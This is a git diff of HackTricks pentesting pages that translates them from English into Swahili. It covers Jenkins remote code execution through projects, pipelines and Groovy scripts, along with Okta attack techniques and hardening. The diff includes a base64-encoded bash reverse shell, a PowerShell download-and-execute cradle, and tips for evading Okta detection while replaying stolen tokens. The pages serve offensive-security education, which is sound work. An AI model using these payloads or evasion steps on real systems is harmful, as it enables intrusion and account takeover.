}
}
```
Finally click on **Save**, and **Build Now** and the pipeline will be executed:
Hatimaye bonyeza **Save**, na **Build Now** na pipeline itatekelezwa:
![](<../../images/image (228).png>)
## Modifying a Pipeline
## Kubadilisha Pipeline
If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
Ikiwa unaweza kufikia faili ya usanidi wa pipeline fulani iliyowekwa unaweza tu **kuibadilisha kwa kuongeza shell yako ya kurudi** na kisha kuitekeleza au kusubiri hadi itekelezwe.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,39 +1,36 @@
# Jenkins RCE Creating/Modifying Project
# Jenkins RCE Kuunda/Kubadilisha Mradi
{{#include ../../banners/hacktricks-training.md}}
## Creating a Project
## Kuunda Mradi
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
Njia hii ni kelele sana kwa sababu unahitaji kuunda mradi mpya kabisa (dhahiri hii itafanya kazi tu ikiwa mtumiaji wako anaruhusiwa kuunda mradi mpya).
1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
3. Click **Build now**
1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
1. **Unda mradi mpya** (mradi wa Freestyle) kwa kubofya "New Item" au katika `/view/all/newJob`
2. Ndani ya sehemu ya **Build** weka **Execute shell** na ubandike launcher ya powershell Empire au powershell ya meterpreter (inaweza kupatikana kwa kutumia _unicorn_). Anza payload na _PowerShell.exe_ badala ya kutumia _powershell._
3. Bofya **Build now**
1. Ikiwa kitufe cha **Build now** hakionekani, bado unaweza kwenda kwenye **configure** --> **Build Triggers** --> `Build periodically` na kuweka cron ya `* * * * *`
2. Badala ya kutumia cron, unaweza kutumia usanidi "**Trigger builds remotely**" ambapo unahitaji tu kuweka jina la api token ili kuanzisha kazi. Kisha nenda kwenye wasifu wako wa mtumiaji na **unda API token** (ita jina hili API token kama ulivyoiita api token ili kuanzisha kazi). Hatimaye, anzisha kazi na: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
![](<../../images/image (165).png>)
## Modifying a Project
## Kubadilisha Mradi
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
Nenda kwenye miradi na angalia **kama unaweza kubadilisha yoyote** kati yao (tafuta "Configure button"):
![](<../../images/image (265).png>)
If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
Ikiwa huwezi kuona **kitufe cha** **configuration** basi huwezi **kuyabadilisha** labda (lakini angalia miradi yote kwani unaweza kuwa na uwezo wa kubadilisha baadhi yao na si wengine).
Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
Au **jaribu kufikia njia** `/job/<proj-name>/configure` au `/me/my-views/view/all/job/<proj-name>/configure` \_\_ katika kila mradi (mfano: `/job/Project0/configure` au `/me/my-views/view/all/job/Project0/configure`).
## Execution
## Utekelezaji
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
Ikiwa unaruhusiwa kubadilisha mradi unaweza **kufanya itekeleze amri wakati ujenzi unafanikiwa**:
![](<../../images/image (98).png>)
Click on **Save** and **build** the project and your **command will be executed**.\
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
Bofya **Save** na **build** mradi na **amri yako itatekelezwa**.\
Ikiwa hutekelezi shell ya kurudi bali amri rahisi unaweza **kuona matokeo ya amri ndani ya matokeo ya ujenzi**.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,24 +4,21 @@
## Jenkins RCE with Groovy Script
This is less noisy than creating a new project in Jenkins
1. Go to _path_jenkins/script_
2. Inside the text box introduce the script
Hii ni kimya zaidi kuliko kuunda mradi mpya katika Jenkins
1. Nenda kwenye _path_jenkins/script_
2. Ndani ya kisanduku cha maandiko ingiza scripti
```python
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"
```
Unaweza kutekeleza amri kwa kutumia: `cmd.exe /c dir`
You could execute a command using: `cmd.exe /c dir`
Katika **linux** unaweza kufanya: **`"ls /".execute().text`**
In **linux** you can do: **`"ls /".execute().text`**
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
**Another useful groovy script** is (replace \[INSERT COMMAND]):
Ikiwa unahitaji kutumia _quotes_ na _single quotes_ ndani ya maandiko. Unaweza kutumia _"""PAYLOAD"""_ (triple double quotes) kutekeleza payload.
**Script nyingine ya groovy yenye manufaa** ni (badilisha \[INSERT COMMAND]):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
@@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Reverse shell in linux
### Reverse shell katika linux
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
@@ -39,28 +34,20 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Reverse shell katika windows
### Reverse shell in windows
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
Unaweza kuandaa seva ya HTTP yenye PS reverse shell na kutumia Jeking kupakua na kuitekeleza:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
```
### Script
You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
You can use MSF to get a reverse shell:
Unaweza kuendesha mchakato huu kwa kutumia [**hiki skripti**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
Unaweza kutumia MSF kupata shell ya kurudi:
```
msf> use exploit/multi/http/jenkins_script_console
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,60 +4,60 @@
## Basic Information
[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
[Okta, Inc.](https://www.okta.com/) inatambuliwa katika sekta ya usimamizi wa utambulisho na ufikiaji kwa ajili ya suluhisho zake za programu za msingi wa wingu. Suluhisho hizi zimeundwa ili kuboresha na kulinda uthibitishaji wa watumiaji katika programu mbalimbali za kisasa. Zinahudumia si tu kampuni zinazolenga kulinda data zao nyeti bali pia waendelezaji wanaovutiwa na kuunganisha udhibiti wa utambulisho katika programu, huduma za mtandao, na vifaa.
The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
Kutoa kuu kutoka Okta ni **Okta Identity Cloud**. Jukwaa hili linajumuisha seti ya bidhaa, ikiwa ni pamoja na lakini sio tu:
- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
- **Universal Directory**: Enables centralized management of users, groups, and devices.
- **API Access Management**: Secures and manages access to APIs.
- **Single Sign-On (SSO)**: Inarahisisha ufikiaji wa mtumiaji kwa kuruhusu seti moja ya akauti za kuingia katika programu nyingi.
- **Multi-Factor Authentication (MFA)**: Inaboresha usalama kwa kuhitaji aina nyingi za uthibitisho.
- **Lifecycle Management**: Inafanya mchakato wa kuunda, kuboresha, na kufuta akaunti za watumiaji kuwa wa kiotomatiki.
- **Universal Directory**: Inaruhusu usimamizi wa kati wa watumiaji, vikundi, na vifaa.
- **API Access Management**: Inalinda na kusimamia ufikiaji wa APIs.
These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
Huduma hizi kwa pamoja zinakusudia kuimarisha ulinzi wa data na kuboresha ufikiaji wa watumiaji, kuimarisha usalama na urahisi. Uwezo wa suluhisho za Okta unafanya kuwa chaguo maarufu katika sekta mbalimbali, zikiwa na manufaa kwa makampuni makubwa, kampuni ndogo, na waendelezaji binafsi. Kufikia sasisho la mwisho mnamo Septemba 2021, Okta inatambuliwa kama chombo muhimu katika eneo la Usimamizi wa Utambulisho na Ufikiaji (IAM).
> [!CAUTION]
> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
> Lengo kuu la Okta ni kuunda ufikiaji kwa watumiaji na vikundi tofauti kwa programu za nje. Ikiwa utaweza **kudhoofisha haki za msimamizi katika mazingira ya Oktas**, kuna uwezekano mkubwa wa **kudhoofisha majukwaa mengine yote ambayo kampuni inatumia**.
> [!TIP]
> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
> Ili kufanya ukaguzi wa usalama wa mazingira ya Okta unapaswa kuomba **ufikiaji wa msimamizi wa kusoma tu**.
### Summary
There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
These users can be inside **groups**.\
There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
Kuna **watumiaji** (ambao wanaweza **kuhifadhiwa katika Okta,** kuingia kutoka **Watoa Utambulisho** waliowekwa au kuthibitishwa kupitia **Active Directory** au LDAP).\
Watumiaji hawa wanaweza kuwa ndani ya **vikundi**.\
Kuna pia **wauthenticators**: chaguzi tofauti za kuthibitisha kama nywila, na 2FA kadhaa kama WebAuthn, barua pepe, simu, okta verify (zinaweza kuwa zimewezeshwa au kuzuiliwa)...
Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
Kisha, kuna **programu** zilizounganishwa na Okta. Kila programu itakuwa na **ramani na Okta** ili kushiriki taarifa (kama anwani za barua pepe, majina ya kwanza...). Aidha, kila programu lazima iwe ndani ya **Sera ya Uthibitishaji**, ambayo inaonyesha **wauthenticators** zinazohitajika kwa mtumiaji ili **kuingia** kwenye programu.
> [!CAUTION]
> The most powerful role is **Super Administrator**.
> Jukumu lenye nguvu zaidi ni **Super Administrator**.
>
> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
> Ikiwa mshambuliaji atakudhoofisha Okta kwa ufikiaji wa Msimamizi, programu zote **zinazoamini Okta** zitakuwa na uwezekano mkubwa wa **kudhoofishwa**.
## Attacks
### Locating Okta Portal
Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
Kawaida lango la kampuni litakuwa katika **companyname.okta.com**. Ikiwa sivyo, jaribu **mabadiliko rahisi** ya **companyname.** Ikiwa huwezi kulipata, pia inawezekana kwamba shirika lina rekodi ya **CNAME** kama **`okta.companyname.com`** ikielekeza kwenye **Okta portal**.
### Login in Okta via Kerberos
If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
Ikiwa **`companyname.kerberos.okta.com`** inafanya kazi, **Kerberos inatumika kwa ufikiaji wa Okta**, kawaida ikiepuka **MFA** kwa watumiaji wa **Windows**. Ili kupata watumiaji wa Okta walioidhinishwa na Kerberos katika AD, endesha **`getST.py`** na **parameta zinazofaa**. Baada ya kupata **tiketi ya mtumiaji wa AD**, **ingiza** kwenye mwenyeji aliye na udhibiti kwa kutumia zana kama Rubeus au Mimikatz, kuhakikisha **`clientname.kerberos.okta.com` iko katika eneo la "Intranet" la Chaguzi za Mtandao**. Kufikia URL maalum kunapaswa kurudisha jibu la JSON "OK", ikionyesha kukubaliwa kwa tiketi ya Kerberos, na kutoa ufikiaji wa dashibodi ya Okta.
Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
Kudhoofisha **akaunti ya huduma ya Okta na SPN ya uwakilishi inaruhusu shambulio la Silver Ticket.** Hata hivyo, matumizi ya Okta ya **AES** kwa ajili ya usimbaji wa tiketi yanahitaji kuwa na ufunguo wa AES au nywila ya wazi. Tumia **`ticketer.py` kutengeneza tiketi kwa mtumiaji wa kidhulumu** na kuisambaza kupitia kivinjari ili kuthibitisha na Okta.
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Hijacking Okta AD Agent
This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
Teknolojia hii inahusisha **kupata Okta AD Agent kwenye seva**, ambayo **inasawazisha watumiaji na kushughulikia uthibitishaji**. Kwa kuchunguza na kufichua mipangilio katika **`OktaAgentService.exe.config`**, hasa AgentToken kwa kutumia **DPAPI**, mshambuliaji anaweza kwa urahisi **kukamata na kubadilisha data za uthibitishaji**. Hii inaruhusu si tu **kuangalia** na **kukamata akauti za watumiaji** kwa wazi wakati wa mchakato wa uthibitishaji wa Okta bali pia **kujibu majaribio ya uthibitishaji**, hivyo kuruhusu ufikiaji usioidhinishwa au kutoa uthibitishaji wa ulimwengu wote kupitia Okta (kama funguo 'skeleton').
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Hijacking AD As an Admin
This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
Teknolojia hii inahusisha kudhibiti Okta AD Agent kwa kwanza kupata OAuth Code, kisha kuomba token ya API. Token hiyo inahusishwa na eneo la AD, na **kiunganishi kinaitwa kuanzisha wakala wa AD wa uwongo**. Kuanzisha kunaruhusu wakala **kushughulikia majaribio ya uthibitishaji**, kukamata akauti kupitia API ya Okta. Zana za kiotomatiki zinapatikana ili kurahisisha mchakato huu, zikitoa njia isiyo na mshono ya kukamata na kushughulikia data za uthibitishaji ndani ya mazingira ya Okta.
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
@@ -65,42 +65,42 @@ This technique involves hijacking an Okta AD Agent by first obtaining an OAuth C
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
Teknolojia hii inahusisha **kuanzisha mtoa huduma wa SAML wa uwongo**. Kwa kuunganisha Mtoa Utambulisho wa nje (IdP) ndani ya mfumo wa Okta kwa kutumia akaunti yenye mamlaka, washambuliaji wanaweza **kudhibiti IdP, wakikubali ombi lolote la uthibitishaji kwa hiari**. Mchakato huu unajumuisha kuanzisha IdP ya SAML 2.0 katika Okta, kubadilisha URL ya SSO ya IdP kwa ajili ya kuelekeza kupitia faili ya wenyeji wa ndani, kutengeneza cheti kilichojisajili, na kuunda mipangilio ya Okta ili kulinganisha dhidi ya jina la mtumiaji au barua pepe. Kutekeleza hatua hizi kwa mafanikio kunaruhusu uthibitishaji kama mtumiaji yeyote wa Okta, ikiepuka hitaji la akauti za mtumiaji binafsi, na kuimarisha udhibiti wa ufikiaji kwa njia isiyoonekana.
### Phishing Okta Portal with Evilgnix
In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
Katika [**hiki kipande cha blog**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) kinaelezewa jinsi ya kuandaa kampeni ya uvuvi dhidi ya lango la Okta.
### Colleague Impersonation Attack
The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
**sifa ambazo kila mtumiaji anaweza kuwa nazo na kubadilisha** (kama barua pepe au jina la kwanza) zinaweza kuundwa katika Okta. Ikiwa **programu** inakubali kama ID **sifa** ambayo mtumiaji anaweza **kubadilisha**, ataweza **kujifanya kuwa watumiaji wengine katika jukwaa hilo**.
Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
Hivyo, ikiwa programu inakubali uwanja **`userName`**, huenda usiweze kuubadilisha (kwa sababu kawaida huwezi kubadilisha uwanja huo), lakini ikiwa inakubali kwa mfano **`primaryEmail`** unaweza kuwa na uwezo wa **kuubadilisha kuwa anwani ya barua pepe ya mwenzako** na kujifanya (utahitaji kuwa na ufikiaji wa barua pepe na kukubali mabadiliko).
Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
Therefore, the app should have this field enabled if it exists:
Kumbuka kwamba hii kujifanya inategemea jinsi kila programu ilivyoundwa. Ni zile tu zinazokubali uwanja uliohubiriwa na kukubali masasisho zitakazodhuriwa.\
Hivyo, programu inapaswa kuwa na uwanja huu umewezeshwa ikiwa upo:
<figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
Nimeona pia programu nyingine ambazo zilikuwa na udhaifu lakini hazikuwa na uwanja huo katika mipangilio ya Okta (mwishowe programu tofauti zimeundwa tofauti).
The best way to find out if you could impersonate anyone on each app would be to try it!
Njia bora ya kujua ikiwa unaweza kujifanya kuwa mtu yeyote kwenye kila programu itakuwa kujaribu!
## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
Sera za kugundua tabia katika Okta zinaweza kuwa hazijulikani hadi zipatikane, lakini **kuziepuka** kunaweza kufikiwa kwa **kulenga programu za Okta moja kwa moja**, kuepuka dashibodi kuu ya Okta. Kwa kutumia **token ya ufikiaji wa Okta**, rudia token hiyo kwenye **URL maalum ya Okta ya programu** badala ya ukurasa kuu wa kuingia.
Key recommendations include:
Mapendekezo muhimu ni pamoja na:
- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
- Ensure **consistent user-agent strings** between the client and replayed access tokens.
- **Refrain from replaying** tokens from different users from the same IP address.
- Exercise caution when replaying tokens against the Okta dashboard.
- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
- **Epuka kutumia** proxies maarufu za kujificha na huduma za VPN unapofanya rudia token za ufikiaji zilizokamatwa.
- Hakikisha **mifumo ya mtumiaji inayofanana** kati ya mteja na token za ufikiaji zilizorudiwa.
- **Epuka kurudia** token kutoka kwa watumiaji tofauti kutoka anwani moja ya IP.
- Fanya makini unapofanya rudia token dhidi ya dashibodi ya Okta.
- Ikiwa unajua anwani za IP za kampuni ya kidhulumu, **punguza trafiki** kwa hizo IP au anuwai yao, ukizuia trafiki nyingine zote.
## Okta Hardening
Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
Okta ina mipangilio mingi inayowezekana, katika ukurasa huu utaona jinsi ya kuzikagua ili ziwe salama kadri inavyowezekana:
{{#ref}}
okta-hardening.md
@@ -112,6 +112,3 @@ okta-hardening.md
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -6,72 +6,72 @@
### People
From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
Kutoka kwa mtazamo wa washambuliaji, hii ni ya kuvutia sana kwani utaweza kuona **watumiaji wote waliojiandikisha**, anwani zao za **barua pepe**, **makundi** wanayoshiriki, **profaili** na hata **vifaa** (simu za mkononi pamoja na mifumo yao ya uendeshaji).
For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
Kwa ukaguzi wa whitebox hakikisha kuwa hakuna "**Hatua ya mtumiaji inayosubiri**" na "**Kurekebisha nenosiri**".
### Groups
This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
It's possible to see the **people included inside groups** and **apps assigned** to each group.
Hapa ndipo unapata makundi yote yaliyoanzishwa katika Okta. Ni muhimu kuelewa makundi tofauti (seti ya **idhini**) ambayo yanaweza kutolewa kwa **watumiaji**.\
Inawezekana kuona **watu walio ndani ya makundi** na **programu zilizotolewa** kwa kila kundi.
Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
Kwa kweli, kundi lolote lenye jina la **admin** ni la kuvutia, hasa kundi la **Wasimamizi wa Kimataifa,** angalia wanachama kujua ni nani wanachama wenye mamlaka zaidi.
From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
Kutoka kwa ukaguzi wa whitebox, **hakupaswi kuwa na wasimamizi zaidi ya 5 wa kimataifa** (ni bora ikiwa kuna 2 au 3 tu).
### Devices
Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
Pata hapa **orodha ya vifaa vyote** vya watumiaji wote. Unaweza pia kuona ikiwa inasimamiwa **kwa ufanisi** au la.
### Profile Editor
Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
Hapa inawezekana kuona jinsi taarifa muhimu kama vile majina ya kwanza, majina ya mwisho, barua pepe, majina ya watumiaji... zinavyoshirikiwa kati ya Okta na programu nyingine. Hii ni ya kuvutia kwa sababu ikiwa mtumiaji anaweza **kubadilisha katika Okta uwanja** (kama jina lake au barua pepe) ambayo kisha inatumika na **programu ya nje** ili **kutambua** mtumiaji, mtu wa ndani anaweza kujaribu **kuchukua akaunti nyingine**.
Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
Zaidi ya hayo, katika profaili **`User (default)`** kutoka Okta unaweza kuona **ni uwanja gani** kila **mtumiaji** ana na ni yupi ni **unaoweza kubadilishwa** na watumiaji. Ikiwa huwezi kuona paneli ya admin, nenda tu **sasisha taarifa yako ya profaili** na utaona ni uwanja gani unaweza kusasisha (kumbuka kuwa ili kusasisha anwani ya barua pepe utahitaji kuithibitisha).
### Directory Integrations
Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
Maktaba zinakuwezesha kuingiza watu kutoka vyanzo vilivyopo. Nadhani hapa utaona watumiaji waliingizwa kutoka maktaba nyingine.
I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
Sijawahi kuona, lakini nadhani hii ni ya kuvutia kugundua **maktaba nyingine ambazo Okta inatumia kuingiza watumiaji** ili ikiwa **utavunja maktaba hiyo** unaweza kuweka baadhi ya thamani za sifa katika watumiaji walioundwa katika Okta na **labda uvunje mazingira ya Okta**.
### Profile Sources
A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
Chanzo cha profaili ni **programu inayofanya kazi kama chanzo cha ukweli** kwa sifa za profaili za mtumiaji. Mtumiaji anaweza tu kutolewa na programu au maktaba moja kwa wakati mmoja.
I haven't seen it, so any information about security and hacking regarding this option is appreciated.
Sijawahi kuona, hivyo taarifa yoyote kuhusu usalama na udukuzi kuhusu chaguo hili inathaminiwa.
## Customizations
### Brands
Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
Angalia katika tab ya **Domains** ya sehemu hii anwani za barua pepe zinazotumika kutuma barua pepe na jina la kikoa maalum ndani ya Okta la kampuni (ambalo huenda tayari unalijua).
Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
Zaidi ya hayo, katika tab ya **Setting**, ikiwa wewe ni admin, unaweza "**Tumia ukurasa maalum wa kutolewa**" na kuweka URL maalum.
### SMS
Nothing interesting here.
Hakuna kitu cha kuvutia hapa.
### End-User Dashboard
You can find here applications configured, but we will see the details of those later in a different section.
Unaweza kupata hapa programu zilizowekwa, lakini tutaona maelezo ya hizo baadaye katika sehemu tofauti.
### Other
Interesting setting, but nothing super interesting from a security point of view.
Mipangilio ya kuvutia, lakini hakuna kitu cha kuvutia sana kutoka kwa mtazamo wa usalama.
## Applications
### Applications
Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
Hapa unaweza kupata **programu zote zilizowekwa** na maelezo yao: Nani ana ufikiaji wa hizo, jinsi ilivyowekwa (SAML, OPenID), URL ya kuingia, ramani kati ya Okta na programu...
In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
Katika tab ya **`Sign On`** pia kuna uwanja unaoitwa **`Password reveal`** ambao utamruhusu mtumiaji **kuonyesha nenosiri lake** wakati wa kuangalia mipangilio ya programu. Ili kuangalia mipangilio ya programu kutoka kwa Paneli ya Mtumiaji, bonyeza alama 3:
<figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
And you could see some more details about the app (like the password reveal feature, if it's enabled):
Na unaweza kuona maelezo zaidi kuhusu programu (kama kipengele cha kuonyesha nenosiri, ikiwa kimewezeshwa):
<figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
@@ -79,124 +79,121 @@ And you could see some more details about the app (like the password reveal feat
### Access Certifications
Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
Tumia Access Certifications kuunda kampeni za ukaguzi ili kupitia ufikiaji wa watumiaji wako kwa rasilimali mara kwa mara na kuidhinisha au kufuta ufikiaji kiotomatiki inapohitajika.
I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
Sijawahi kuona ikitumika, lakini nadhani kutoka kwa mtazamo wa kujihami ni kipengele kizuri.
## Security
### General
- **Security notification emails**: All should be enabled.
- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
- **User enumeration prevention**: Both should be enabled
- Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
- Self-Service Registration
- JIT flows with email authentication
- **Okta ThreatInsight settings**: Log and enforce security based on threat level
- **Barua pepe za arifa za usalama**: Zote zinapaswa kuwezeshwa.
- **Ushirikiano wa CAPTCHA**: Inapendekezwa kuweka angalau reCaptcha isiyoonekana
- **Usalama wa Shirika**: Kila kitu kinaweza kuwezeshwa na barua pepe za uanzishaji hazipaswi kudumu kwa muda mrefu (siku 7 ni sawa)
- **Kuzuia uainishaji wa watumiaji**: Zote zinapaswa kuwezeshwa
- Kumbuka kuwa Kuzuia Uainishaji wa Watumiaji hakutakuwa na athari ikiwa mojawapo ya hali zifuatazo zitaruhusiwa (Tazama [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) kwa maelezo zaidi):
- Usajili wa Huduma ya Kibinafsi
- Mchakato wa JIT na uthibitisho wa barua pepe
